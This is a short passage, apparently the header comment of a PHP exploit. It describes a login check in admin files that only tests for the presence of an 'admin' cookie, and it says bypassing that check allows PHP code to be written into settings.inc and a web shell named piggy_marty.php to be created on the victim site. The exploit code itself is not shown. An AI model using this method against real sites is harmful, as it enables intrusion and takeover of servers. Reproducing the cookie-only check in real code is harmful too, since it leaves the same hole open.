/*
The problem is in all admin files:

if(isset($_COOKIE['admin'])) {
$name = $_COOKIE['login']; 
}
else {
echo "Please Login";
exit;
}

This easy to bypass function leads to a RCE because we can put PHP code in settings.inc,
that is required in many pages..

This exploit create a piggy_marty.php shell on the victim site
